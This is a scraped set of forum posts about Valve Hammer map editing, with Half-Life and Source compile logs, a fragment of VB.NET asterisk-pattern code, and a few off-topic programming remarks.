For counter2 As Integer = counter1 To 1 Step -1 'Decrements counter2 by 1 for every time the process loops, starting at the value of counter1, and ending when the value of 1 is reached. This is so that the number of spaces per line will decrease at a uniform rate when compared to the line number (counter1).
TextBox1.AppendText(" ") 'Appends a space to textbox1
Next
For counter3 As Integer = (11 - counter1) To 1 Step -1 'Decrements the value of counter3 by 1 for every time the process loops, starting at the value of 11 minus the current value of counter1, and ending when the value of 1 is reached. This is so that the number of astrisks added after the spaces will scale apropriately to create the desired pattern.
TextBox1.AppendText("*") 'Appends an asterick to textbox1
Next
TextBox1.AppendText(vbCrLf) 'Appends a line break to textbox1
Next


For counter1 As Integer = 1 To 10 Step 1 'Increments counter1 by 1 for every time the process loops, starting at 1, and ending at 10. This is to create 10 lines in the textbox.
For counter2 As Integer = 1 To counter1 Step 1 'Increments counter2 by 1 for every time the process loops, starting at 1, and ending when the value of counter1 is reached. This is so that the number of spaces per line will increase at a uniform rate when compared to the line number (counter1).
TextBox1.AppendText(" ") 'Appends a space to textbox1
Next
For counter3 As Integer = 1 To (11 - counter1) Step 1 'Decrements the value of counter3 by 1 for every time the process loops, starting at the value of 11 minus the current value of counter1, and ending when the value of 1 is reached. This is so that the number of astrisks added after the spaces will scale apropriately to create the desired pattern.
TextBox1.AppendText("*") 'Appends an asterick to textbox1
Next
TextBox1.AppendText(vbCrLf) 'Appends a line break to textbox1
Next


End Sub
End Class
User
This is probably NSFW, just as a warning. It was too epic to not share it though.
User
that error is when u have ORIGIN texture but with no entiti on it...
just origin object wichout entiti is error
User
Alloc block means you exceeded the limit, as in made shit load of stuff OR messed with vortex or made a noob object.
Try removing new complicated stuff and try, and check for problems
User
Rockbomb said:
Why would you ask a question and then say you're just kidding?

I mean the "detailed" word.
Rockbomb said:
Anyway, pitch yaw and roll are terms used for the rotation of an object on a certain axis. This picture will show you which term goes with each axis:


Thanks!

oh btw,
so it work on info_player_start/deathmatch?
how to set it to face north, west, etc?
User
Why would you ask a question and then say you're just kidding?

Anyway, pitch yaw and roll are terms used for the rotation of an object on a certain axis. This picture will show you which term goes with each axis:

User
Greetings

Im new to Valve hammer editor, need some help with it

I've made some simple maps and still i'm not sure to make objects like table, lamps etc to the size which might look realistic, The valve hammer editor lets us resize the object to every grid in it.

Im trying to make a coffee table with a lamp on it, ive made the table with 1 X 1 X 1 grid, but thats still big for a table. Is there a way i could resize it and make it smaller ?

Thanks
OneDude said:
I have another problem: 'Texture axis perpindicular to face'


Quote:
texture axis perpendicular to face
one of your textures has not been set properly on a face. Either use the problemchecker to fix the error, or do it yourself by selecting the face or brush and then in the texture-application tool selecting 'align to face' or 'align to world'. if that doesn't work, your brush might be too broken to repair and you'll have to repair it manually...

quote found here

OneDude said:
Can you explain me how to work with the Go To Brush?


if you have a problem with hammer such as (bla bla bla is retarded) hold (alt+p) and press (go to error)

the selection tool should have already highlighted the problem entity or object. there it is up to you to fix it or delete it and do it over.
User
Ok. Thank you ... You helped me very much!
I can not see if it worked because I have another problem: 'Texture axis perpindicular to face'
I do not know how to handle it, how to find the object that causes the issue. Can you explain me how to work with the Go To Brush?
User
Hey guys.. got an problem that came from nowhere when i complile..

The error is Allocblock:full

I've checked the report log, and as i see it, it should be the texture mapcred that creates this problem, but not sure.

But i've removed my sign from the map, and also removed the texture from valve, so please concider this for me!

Thanks in advance.


hlcsg v3.4 Final (Feb 25 2006)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (amckern@yahoo.com)
----- BEGIN hlcsg -----
Command line: hlcsg -nowadtextures de_front -texdata 8192 -chart
Entering de_front.map

Current hlcsg Settings
Name | Setting | Default
---------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ on ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 8388608 ] [ 4194304 ]
max lighting memory [ 6291456 ] [ 6291456 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
null texture stripping[ on ] [ on ]
clipnode economy mode [ on ] [ on ]
clip hull type [ legacy ] [ legacy ]
onlyents [ off ] [ off ]
wadtextures [ off ] [ on ]
skyclip [ on ] [ on ]
hullfile [ None ] [ None ]
nullfile [ None ] [ None ]
min surface area [ 0.500 ] [ 0.500 ]
brush union threshold [ 0.000 ] [ 0.000 ]

Using mapfile wad configuration
Wadinclude list :
[zhlt.wad]

38 brushes (totalling 228 sides) discarded from clipping hulls
CreateBrush:
(5.06 seconds)
SetModelCenters:
(0.00 seconds)
CSGBrush:
(4.61 seconds)

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 0/400 0/25600 ( 0.0%)
planes 16528/32768 330560/655360 (50.4%)
vertexes 0/65535 0/786420 ( 0.0%)
nodes 0/32767 0/786408 ( 0.0%)
texinfos 3548/32767 141920/1310680 (10.8%)
faces 0/65535 0/1310700 ( 0.0%)
clipnodes 0/32767 0/262136 ( 0.0%)
leaves 0/8192 0/229376 ( 0.0%)
marksurfaces 0/65535 0/131070 ( 0.0%)
surfedges 0/512000 0/2048000 ( 0.0%)
edges 0/256000 0/1024000 ( 0.0%)
texdata [variable] 0/8388608 ( 0.0%)
lightdata [variable] 0/6291456 ( 0.0%)
visdata [variable] 0/2097152 ( 0.0%)
entdata [variable] 0/524288 ( 0.0%)
0 textures referenced
=== Total BSP file data space used: 472480 bytes ===

Using Wadfile: \mapping\de_inferno.wad
- Contains 67 used textures, 61.47 percent of map (97 textures in wad)
Using Wadfile: \mapping\cs_havana.wad
- Contains 29 used textures, 26.61 percent of map (122 textures in wad)
Using Wadfile: \mapping\halflife.wad
- Contains 11 used textures, 10.09 percent of map (3116 textures in wad)
Using Wadfile: \mapping\decals.wad
- Contains 0 used textures, 0.00 percent of map (225 textures in wad)
Using Wadfile: \mapping\zhlt\mapcredits.wad
- Warning: Larger than expected texture (323812 bytes): 'MAPCREDITS'
- Contains 1 used texture, 0.92 percent of map (1 textures in wad)

Warning: ::FindTexture() texture NULL not found!
Are you sure you included zhlt.wad in your wadpath list?
Warning: ::LoadLump() texture NULL not found!
Texture usage is at 5.07 mb (of 8.00 mb MAX)
9.98 seconds elapsed

----- END hlcsg -----



hlbsp v3.4 Final (Feb 25 2006)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (amckern@yahoo.com)
----- BEGIN hlbsp -----
Command line: hlbsp de_front -texdata 8192 -chart

Current hlbsp Settings
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ on ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 8388608 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
nofill [ off ] [ off ]
noopt [ off ] [ off ]
null tex. stripping [ on ] [ on ]
notjunc [ off ] [ off ]
subdivide size [ 240 ] [ 240 ] (Min 64) (Max 512)
max node size [ 1024 ] [ 1024 ] (Min 64) (Max 8192)


SolidBSP [hull 0] 500...1000...1500...2000...2500...3000...3500...4000...4500...5000...5500...5527 (0.86 seconds)
BSP generation successful, writing portal file 'de_front.prt'
SolidBSP [hull 1] 500...1000...1500...2000...2500...3000...3500...4000...4500...5000...5500...5569 (1.47 seconds)
SolidBSP [hull 2] 500...1000...1500...2000...2500...3000...3500...4000...4500...5000...5289 (1.58 seconds)
SolidBSP [hull 3] 500...1000...1500...2000...2500...3000...3500...4000...4500...5000...5500...5690 (1.73 seconds)

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 51/400 3264/25600 (12.8%)
planes 5713/32768 114260/655360 (17.4%)
vertexes 19254/65535 231048/786420 (29.4%)
nodes 6061/32767 145464/786408 (18.5%)
texinfos 3548/32767 141920/1310680 (10.8%)
faces 14181/65535 283620/1310700 (21.6%)
clipnodes 16999/32767 135992/262136 (51.9%)
leaves 3507/8192 98196/229376 (42.8%)
marksurfaces 17334/65535 34668/131070 (26.4%)
surfedges 68594/512000 274376/2048000 (13.4%)
edges 35181/256000 140724/1024000 (13.7%)
texdata [variable] 5321422/8388608 (63.4%)
lightdata [variable] 0/6291456 ( 0.0%)
visdata [variable] 0/2097152 ( 0.0%)
entdata [variable] 15401/524288 ( 2.9%)
109 textures referenced
=== Total BSP file data space used: 6940355 bytes ===
12.36 seconds elapsed

----- END hlbsp -----



hlvis v3.4 Final (Feb 25 2006)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (amckern@yahoo.com)
----- BEGIN hlvis -----
Command line: hlvis de_front -texdata 8192 -chart -full
3027 portalleafs
9375 numportals

-= Current hlvis Settings =-
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ on ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 8388608 ] [ 4194304 ]
max vis distance [ 0 ] [ 0 ]
priority [ Normal ] [ Normal ]

fast vis [ off ] [ off ]
full vis [ on ] [ off ]


BasePortalVis:
(19.06 seconds)
LeafThread:
(507.66 seconds)
average leafs visible: 195
g_visdatasize:362612 compressed from 1147233

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 51/400 3264/25600 (12.8%)
planes 5713/32768 114260/655360 (17.4%)
vertexes 19254/65535 231048/786420 (29.4%)
nodes 6061/32767 145464/786408 (18.5%)
texinfos 3548/32767 141920/1310680 (10.8%)
faces 14181/65535 283620/1310700 (21.6%)
clipnodes 16999/32767 135992/262136 (51.9%)
leaves 3507/8192 98196/229376 (42.8%)
marksurfaces 17334/65535 34668/131070 (26.4%)
surfedges 68594/512000 274376/2048000 (13.4%)
edges 35181/256000 140724/1024000 (13.7%)
texdata [variable] 5321422/8388608 (63.4%)
lightdata [variable] 0/6291456 ( 0.0%)
visdata [variable] 362612/2097152 (17.3%)
entdata [variable] 15401/524288 ( 2.9%)
109 textures referenced
=== Total BSP file data space used: 7302967 bytes ===
527.16 seconds elapsed [8m 47s]

----- END hlvis -----



hlrad v3.4 Final (Feb 25 2006)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (amckern@yahoo.com)
----- BEGIN hlrad -----
Command line: hlrad -sparse de_front -texdata 8192 -chart

-= Current hlrad Settings =-
Name | Setting | Default
--------------------|---------------------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ on ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 8388608 ] [ 4194304 ]
max lighting memory [ 6291456 ] [ 6291456 ]
priority [ Normal ] [ Normal ]

vismatrix algorithm [ Sparse ] [ Original ]
oversampling (-extra)[ off ] [ off ]
bounces [ 1 ] [ 1 ]
bounce dynamic light [ on ] [ on ]
ambient light [ 0.000 0.000 0.000 ] [ 0.000 0.000 0.000 ]
maximum light [ 255.000 ] [ 256.000 ]
circus mode [ off ] [ off ]

smoothing threshold [ 50.000 ] [ 50.000 ]
direct threshold [ 25.000 ] [ 25.000 ]
direct light scale [ 2.000 ] [ 2.000 ]
coring threshold [ 1.000 ] [ 1.000 ]
patch interpolation [ on ] [ on ]

texscale [ on ] [ on ]
patch subdividing [ on ] [ on ]
chop value [ 64.000 ] [ 64.000 ]
texchop value [ 32.000 ] [ 32.000 ]

global fade [ 1.000 ] [ 1.000 ]
global falloff [ 2 ] [ 2 ]
global light scale [ 1.000 1.000 1.000 ] [ 1.000 1.000 1.000 ]
global gamma [ 0.500 0.500 0.500 ] [ 0.500 0.500 0.500 ]
global light scale [ 1.000 ] [ 1.000 ]
global sky diffusion [ 1.000 ] [ 1.000 ]

opaque entities [ on ] [ on ]
sky lighting fix [ on ] [ on ]
incremental [ off ] [ off ]
dump [ off ] [ off ]

colour jitter [ 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 ]
monochromatic jitter [ 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 ]
softlight hack [ 0.0 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 0.0 ]
diffuse hack [ on ] [ on ]
spotlight points [ on ] [ on ]

custom shadows with bounce light
[ off ] [ off ]
rgb transfers [ off ] [ off ]


[Reading texlights from 'lights.rad']
[59 texlights parsed from 'lights.rad']

14181 faces
Create Patches : 88322 base patches
0 opaque faces
694386 square feet [99991680.00 square inches]
280 direct lights

BuildFacelights:
Error:
for Face 4226 (texture mapcredits) at
(1118.000 -676.160 34.000) (1118.000 -676.000 34.000) (1118.000 -676.000 58.210) (1118.000 -676.160 58.210)
Error: Bad surface extents (27509 x 6)
Check the file ZHLTProblems.html for a detailed explanation of this problem

----- END hlrad -----

Truck
User
It's a flash player, and I think the song is embedded within the flash object.

But then again, it's 8am, and I should not be up this early xD
User
From the F.A.Q:
Q: why is my map lagged
basically it depends on the "how much do i have" and the "how do i make Little of it"

how much objects do you have?
instead of LOTS boxes side by side (next to each other) just make one big rectangle and apply decals to the object!

to much complex models?

how big is the map?

is there a leak?
---------------------
Otherwise, do you have a skybox (if yes, is it badly placed)?

Can't remember anything else
User
By clicking in the object u can change the |mode" u can see it wil the different "icons" around the object, like sqaure at edge, circle at edge or square at sides.




and with the clipping too u can cut and make ur shapes too
User
AlsO HOw do I make a Lean Object ( Cube Or anything ) ?

I Mean a diagonal One , Bent FroM Up Or Down Or anything , However .
User
If you tie object to func_breakable , there is a opinion 'Spawn on break' and you can choose healtkit !
Quote:
Q: why is my map lagged
basically it depends on the "how much do i have" and the "how do i make Little of it"

how much objects do you have?
instead of LOTS boxes side by side (next to each other) just make one big rectangle and apply decals to the object!

to much complex models?

how big is the map?

is there a leak?



look at http://www.superjer.com/forum/mapping_faq_please_read_before_asking.php before you post.
User
Those last two posts were a pretty weird read for me not knowing much about C and having not read the articles.

I still only know AS 2 & 3, but at least finally got into Object Oriented Programming. AS won't do for Apps though, so sooner or later I'll need to get into Objective-C at least.
User
How do i make a switch to turn lights on and off?

First make the lights (or a single light it doesn't matter) where you want them to be.Select the lights you made (or the one light,if you made one) by holding control and then press Alt+Enter.On the "Name" field put a name you can easily remember (let's say 'Light').

Then make a button with the block tool somewhere (make sure you can reach it ),select it and press Control + T to open the "Object Properties" window.Select "func_button" from the list.Then put the name of the lights in the "Target" field,and you're done.(On the flags tab of func_button i usually check the "Don't move" box because it's better that way)

Note:If you do it this way the lights will be ON when you start.If you want them to be OFF select the lights you made,then alt+enter and go to the "Flags" tab.Check the "Initially Dark" box and they will be turned off when you start.
User
Down Rodeo said:
You could have a top-level blank bit that has a hole, i.e. on top of the lines. Dunno if I'm saying this well. Like, basically have a rectangle, with a bit cut out.

You mean like a sort of manual masking? Thus far it's been no big deal to remap my stripes when I scale, that (the mapped symbol itself) is the only it that's not properly scaling, it actually keeps it the same size and remaps it onto the bigger/smaller sphere, quite a pain. Maybe there is some 'scale mapped symbol with revolved object' check-box that I've missed...
Sick vid

Sick vid
User
Oh well you're trying to check if the link is a page with a video.

In that case you need to search the content for a <embed> or <object> with video-y stuff in it. But really there's no way to be completely sure.

If you're targeting YouTube then the watch?v= thing is fine.

When you post a TouYube on here, the forum code looks for the BifRBx92S9I garbage and then wraps it in some embed code. So everything from links, to page source should work.

User
Is that what superjer.com uses? Cause I'm getting text/html.

Content-Type: text/html; charset=utf-8 )

I guess all youtube videos have this:
code
watch?v=

So I'll use regex to find that, then embed the video into an object or whatever.

http://stackoverflow.com/questions/412467/how-to-embed-youtube-videos-in-php
Truck
User
When u click it, does the side u clicked turn red ?
If not then maybe the ''Hide mask'' button is on .

It's weird that it lets u choose the entire object.
Are u sure u pressed ''toggle texture application'' and then chose ur side that u want to click ?
Truck
User
I am trying to explain here that it doesn't let me click one side and you still continue explaining me the same thing (that I already know by heart).

IT SIMPLY DOESN'T LET ME CLICK ON IT!
Maybe you know what I could have done to make it not let me click it (changed some options or .. I don't know...)

It only lets me select entire object in up/front/side view...
As I remember I must click (for one side) in the camera view..
User
how to create object with more than 1 entity? its possible (in jail_rats is moving water or in HL1 is tank what is moving and shooting at me)i heard about Spirit of half life, can anybody help me?
User
Basically Molkman that's a 3D projection of a 4D object. It's the same as games, for instance, are 2D projections of 4D objects. More accurately the first one is more like a 2D projection of a 4D object. This is why things change with a pattern but not an easily discernible one.
User
Curz- said:
buq25 said:
Merging takes your wads and puts them togeather into 1. Your 29 wads can be 8 by taking the 21 smallest ones and putting them togeather.
http://www.superjer.com/forum/mapping_faq_please_read_before_asking.php

Search using your internet program (CTRL F unless you're using something really strange) and you'll see it. Search for MERGE then, if you didn't understand it completely.

I'm not either a native English speaking person!


okay, cool :D
Thanks!



Okay, now i have 1 WAD file.
I made a test map (a hollow box with a light and CT spawn).
And when i press F9 to test my map(i have steam) i first get this error : ILocalize::AddFile()failed to load file''steam/cached/steamui_postlogon_english.txt''.
And then i also get this Steam Fatal Error that says : ''Fatal Error:Failed to load platform modules.''

Okay and here is the compile process window text :

** Executing...
** Command: Change Directory
** Parameters: "C:\Program Files\Valve\Steam"


** Executing...
** Command: C:\PROGRA~1\VALVEH~1\tools\qcsg.exe
** Parameters: "c:\documents and settings\administrator\desktop\maps\test_map"

qcsg.exe v2.8 (Jan 31 2000)
---- qcsg ----
entering c:\documents and settings\administrator\desktop\maps\test_map.map
CreateBrush: 0...1...3...5...6...8... (0)
CSGBrush: 0...1...3...5...6...8... (0)
Using WAD File: \documents and settings\administrator\my documents\downloads\kito\merge wads.wad
0 seconds elapsed

** Executing...
** Command: C:\PROGRA~1\VALVEH~1\tools\qbsp2.exe
** Parameters: "c:\documents and settings\administrator\desktop\maps\test_map"

qbsp2.exe v2.2 (Dec 28 1998)
---- qbsp2 ----
writing c:\documents and settings\administrator\desktop\maps\test_map.prt
0 seconds elapsed

** Executing...
** Command: C:\PROGRA~1\VALVEH~1\tools\vis.exe
** Parameters: "c:\documents and settings\administrator\desktop\maps\test_map"

vis.exe v1.3 (Dec 30 1998)
---- vis ----
1 thread(s)
1 portalleafs
0 numportals
BasePortalVis: (0)
LeafThread: (0)
average leafs visible: 1
visdatasize:1 compressed from 1
0.0 seconds elapsed

** Executing...
** Command: C:\PROGRA~1\VALVEH~1\tools\qrad.exe
** Parameters: "c:\documents and settings\administrator\desktop\maps\test_map"

qrad.exe v 1.5 (Apr 6 2000)
----- Radiosity ----
1 threads
[Reading texlights from 'C:\PROGRA~1\VALVEH~1\tools\lights.rad']
[1 texlights parsed from 'C:\PROGRA~1\VALVEH~1\tools\lights.rad']

42 faces
9578 square feet [1379328.00 square inches]
460 patches after subdivision
1 direct lights
BuildFacelights: 0...1...2...3...4...5...6...7...8...9... (0)
visibility matrix: 0.0 megs
BuildVisLeafs: 0... (0)
MakeScales: 0...1...2...3...4...5...6...7...8...9... (0)
transfer lists: 0.7 megs
SwapTransfersTask: 0...1...2...3...4...5...6...7...8...9... (0)
GatherLight: 0...1...2...3...4...5...6...7...8...9... (0)
Bounce #1 added RGB(1633, 1633, 820)
FinalLightFace: 0...1...2...3...4...5...6...7...8...9... (0)

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 1/400 64/25600 ( 0.3%)
planes 92/32767 1840/655340 ( 0.3%)
vertexes 52/65535 624/786420 ( 0.1%)
nodes 6/32767 144/786408 ( 0.0%)
texinfos 3/8192 120/327680 ( 0.0%)
faces 42/65535 840/1310700 ( 0.1%)
clipnodes 18/32767 144/262136 ( 0.1%)
leaves 2/8192 56/229376 ( 0.0%)
marksurfaces 42/65535 84/131070 ( 0.1%)
surfedges 184/512000 736/2048000 ( 0.0%)
edges 93/256000 372/1024000 ( 0.0%)
texdata [variable] 48/2097152 ( 0.0%)
lightdata [variable] 19176/2097152 ( 0.9%)
visdata [variable] 1/2097152 ( 0.0%)
entdata [variable] 334/131072 ( 0.3%)
=== Total BSP file data space used: 24583 bytes ===
0 seconds elapsed

** Executing...
** Command: Copy File
** Parameters: "c:\documents and settings\administrator\desktop\maps\test_map.bsp" "C:\Program Files\Valve\Steam\SteamApps\MYSTEAMACCOUNT\counter-strike\cstrike\maps\test_map.bsp"


** Executing...
** Command: Copy File
** Parameters: "c:\documents and settings\administrator\desktop\maps\test_map.pts" "C:\Program Files\Valve\Steam\SteamApps\MYSTEAMACCOUNT\counter-strike\cstrike\maps\test_map.pts"


** Executing...
** Command: C:\PROGRA~1\Valve\Steam\Steam.exe
** Parameters: +map "test_map" -game cstrike -dev -console +deathmatch 1

Assert( Assertion Failed: GetLocalPath on reslists/external_preloads.txt failed, can't wait resources ):.\SteamStartup.cpp:1297

Shutting down. . .



***
PLEASE HELP ! :D
Truck
User
supdawgs

i tried to make a button opened door in hammer, by reading a tutorial i found out that you are supposed to change something in the "outputs" tab. but all i have in the object properties is "class info, Flags, and VisGroup. no "outputs" tab. anyone that knows how to fix this?
Truck
Quote:

Pointers to data significantly improve performance for repetitive operations such as traversing strings, lookup tables, control tables and tree structures. In particular, it is often much cheaper in time and space to copy and dereference pointers than it is to copy and access the data to which the pointers point.

Pointers are also used to hold the addresses of entry points for called subroutines in procedural programming and for run-time linking to dynamic link libraries (DLLs). In Object-oriented programming, pointers to functions are used for binding methods, often using what are called virtual method tables.


See more at: http://en.wikipedia.org/wiki/Pointer_%28computing%29
User
yo, I followed SuperJer's hammer guide. I'm at step 6 (http://www.superjer.com/learn6.php) and I'm about to create a spawn for players. The problem is that when I click "entity creation tool" then the guide says I have to select "info_player_start" BUT there is nothing to choose when i click the object listbox...

Please help me out here, whats the problem?
Truck
User
I don't think 3ds max can directly save to a .map, but you can save is as an object then import it into blender. From blender you can save it as .map. From there you'll need to import it into a program called Crafty (link), and save it as a .vmf, which can finally be imported into hammer.
User
Rockbomb said:
I think Sprinkles was being sarcastic and making fun of how little the halflife engine can handle... I think.

Not my first intent.

Kotohunter said:

Why would it be stupid to have more possibilities? I'm going to have to disagree here...

Because, the game engine wouldn't know how to render it, or how it would function.

Kotohunter said:

the rotate entity would make it rotate and the breakable entity would make it breakable.. sounds reasonable to me..

Don't take this reply the wrong way though, I do appreciate the help! Thanks!

How does the game engine know how breakable-rotating objects function?

Now I'm not saying you can't have an entity that can break and rotate. I'm saying the game engine doesn't know how to render two entities on one object.
User
sprinkles said:
It would be stupid to be able to assign multiple entities to one object.


Why would it be stupid to have more possibilities? I'm going to have to disagree here...

sprinkles said:
How would you expect it to function?


the rotate entity would make it rotate and the breakable entity would make it breakable.. sounds reasonable to me..

Don't take this reply the wrong way though, I do appreciate the help! Thanks!
User
You can't, pick one entity. It would be stupid to be able to assign multiple entities to one object. How would you expect it to function?
I'm mapping for Garry's Mod (A HL2 modification) using source engine 2009.

This is my last complete compile log (or at least I think it is, had a bit of trouble finding it), if any are interested:

code

materialPath: c:\program files (x86)\steam\steamapps\blackholegmst\garrysmod\garrysmod\materials
Loading C:\Program Files (x86)\Steam\steamapps\blackholegmst\garrysmod\garrysmod\maps\vmf\gm_multi_bh.vmf
ConVarRef mat_reduceparticles doesn't point to an existing ConVar
"materials//0.vtf": cached version doesn't exist
Error in .VMT file: error parsing vector element "$envmaptint" in "$envmaptint"
Brush 796639: MAX_MAP_BRUSHSIDES
Side 4
Texture: GM_CONSTRUCT/WALL_TOP



2 threads
reading c:\program files (x86)\steam\steamapps\blackholegmst\garrysmod\garrysmod\maps\vmf\gm_multi_bh.bsp
reading c:\program files (x86)\steam\steamapps\blackholegmst\garrysmod\garrysmod\maps\vmf\gm_multi_bh.prt
LoadPortals: couldn't read c:\program files (x86)\steam\steamapps\blackholegmst\garrysmod\garrysmod\maps\vmf\gm_multi_bh.prt



Could not find lights.rad in lights.rad.
Trying VRAD BIN directory instead...
Warning: Couldn't open texlight file c:\program files (x86)\steam\steamapps\blackholegmst\sourcesdk\bin\orangebox\bin\lights.rad.
Loading c:\program files (x86)\steam\steamapps\blackholegmst\garrysmod\garrysmod\maps\vmf\gm_multi_bh.bsp
10852 faces
22 degenerate faces
31550425 square feet [4543261184.00 square inches]
0 Displacements
0 Square Feet [0.00 Square Inches]
10830 patches before subdivision
223736 patches after subdivision
28 direct lights
0...1...2...3...4...5...6...7...8...9...100...1...2...3...4...5...6...7...8...9...10transfers 36956233, max 3462
transfer lists: 282.0 megs
0...1...2...3...4...5...6...7...8...9...10 Bounce #1 added RGB(328319, 266442, 189170)
0...1...2...3...4...5...6...7...8...9...10 Bounce #2 added RGB(143316, 106746, 68953)
0...1...2...3...4...5...6...7...8...9...10 Bounce #3 added RGB(58651, 38640, 22740)
0...1...2...3...4...5...6...7...8...9...10 Bounce #4 added RGB(25381, 15424, 8532)
0...1...2...3...4...5...6...7...8...9...10 Bounce #5 added RGB(11112, 6341, 3307)
0...1...2...3...4...5...6...7...8...9...10 Bounce #6 added RGB(4964, 2700, 1321)
0...1...2...3...4...5...6...7...8...9...10 Bounce #7 added RGB(2248, 1173, 535)
0...1...2...3...4...5...6...7...8...9...10 Bounce #8 added RGB(1030, 516, 218)
0...1...2...3...4...5...6...7...8...9...10 Bounce #9 added RGB(476, 229, 89)
0...1...2...3...4...5...6...7...8...9...10 Bounce #10 added RGB(222, 102, 37)
0...1...2...3...4...5...6...7...8...9...10 Bounce #11 added RGB(104, 46, 15)
0...1...2...3...4...5...6...7...8...9...10 Bounce #12 added RGB(49, 21, 6)
0...1...2...3...4...5...6...7...8...9...10 Bounce #13 added RGB(23, 9, 3)
0...1...2...3...4...5...6...7...8...9...10 Bounce #14 added RGB(11, 4, 1)
0...1...2...3...4...5...6...7...8...9...10 Bounce #15 added RGB(5, 2, 0)
0...1...2...3...4...5...6...7...8...9...10 Bounce #16 added RGB(2, 1, 0)
0...1...2...3...4...5...6...7...8...9...10 Bounce #17 added RGB(1, 0, 0)
0...1...2...3...4...5...6...7...8...9...10 Bounce #18 added RGB(1, 0, 0)
Build Patch/Sample Hash Table(s).....Done<0.3192 sec>
0...1...2...3...4...5...6...7...8...9...10FinalLightFace Done
0 of 0 (0% of) surface lights went in leaf ambient cubes.
0...1...2...3...4...5...6...7...8...9...10Writing leaf ambient...done
Ready to Finish

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 5/1024 240/49152 ( 0.5%)
brushes 4268/8192 51216/98304 (52.1%)
brushsides 35436/65536 283488/524288 (54.1%)
planes 12588/65536 251760/1310720 (19.2%)
vertexes 16997/65536 203964/786432 (25.9%)
nodes 6498/65536 207936/2097152 ( 9.9%)
texinfos 1071/12288 77112/884736 ( 8.7%)
texdata 33/2048 1056/65536 ( 1.6%)
dispinfos 0/0 0/0 ( 0.0%)
disp_verts 0/0 0/0 ( 0.0%)
disp_tris 0/0 0/0 ( 0.0%)
disp_lmsamples 0/0 0/0 ( 0.0%)
faces 10852/65536 607712/3670016 (16.6%)
hdr faces 10852/65536 607712/3670016 (16.6%)
origfaces 4453/65536 249368/3670016 ( 6.8%)
leaves 6504/65536 208128/2097152 ( 9.9%)
leaffaces 11955/65536 23910/131072 (18.2%)
leafbrushes 8592/65536 17184/131072 (13.1%)
areas 2/256 16/2048 ( 0.8%)
surfedges 68756/512000 275024/2048000 (13.4%)
edges 39231/256000 156924/1024000 (15.3%)
LDR worldlights 28/8192 2464/720896 ( 0.3%)
HDR worldlights 28/8192 2464/720896 ( 0.3%)
leafwaterdata 0/32768 0/393216 ( 0.0%)
waterstrips 911/32768 9110/327680 ( 2.8%)
waterverts 0/65536 0/786432 ( 0.0%)
waterindices 14841/65536 29682/131072 (22.6%)
cubemapsamples 0/1024 0/16384 ( 0.0%)
overlays 0/512 0/180224 ( 0.0%)
LDR lightdata [variable] 8020988/0 ( 0.0%)
HDR lightdata [variable] 8020988/0 ( 0.0%)
visdata [variable] 1700391/16777216 (10.1%)
entdata [variable] 11196/393216 ( 2.8%)
LDR ambient table 6504/65536 26016/262144 ( 9.9%)
HDR ambient table 6504/65536 26016/262144 ( 9.9%)
LDR leaf ambient 18240/65536 510720/1835008 (27.8%)
HDR leaf ambient 16113/65536 451164/1835008 (24.6%)
occluders 0/0 0/0 ( 0.0%)
occluder polygons 0/0 0/0 ( 0.0%)
occluder vert ind 0/0 0/0 ( 0.0%)
detail props [variable] 1/12 ( 8.3%)
static props [variable] 1/862 ( 0.1%)
pakfile [variable] 174772/0 ( 0.0%)
physics [variable] 1398545/4194304 (33.3%)
physics terrain [variable] 2/1048576 ( 0.0%)

Level flags = 0

Total triangle count: 29080
Writing c:\program files (x86)\steam\steamapps\blackholegmst\garrysmod\garrysmod\maps\vmf\gm_multi_bh.bsp
10 minutes, 42 seconds elapsed



Could not find lights.rad in lights.rad.
Trying VRAD BIN directory instead...
Warning: Couldn't open texlight file c:\program files (x86)\steam\steamapps\blackholegmst\sourcesdk\bin\orangebox\bin\lights.rad.
Loading c:\program files (x86)\steam\steamapps\blackholegmst\garrysmod\garrysmod\maps\vmf\gm_multi_bh.bsp
10852 faces
22 degenerate faces
31550425 square feet [4543261184.00 square inches]
0 Displacements
0 Square Feet [0.00 Square Inches]
10830 patches before subdivision
223736 patches after subdivision
28 direct lights
0...1...2...3...4...5...6...7...8...9...100...1...2...3...4...5...6...7...8...9...10transfers 36956233, max 3462
transfer lists: 282.0 megs
0...1...2...3...4...5...6...7...8...9...10 Bounce #1 added RGB(164136, 133190, 94558)
0...1...2...3...4...5...6...7...8...9...10 Bounce #2 added RGB(71649, 53362, 34468)
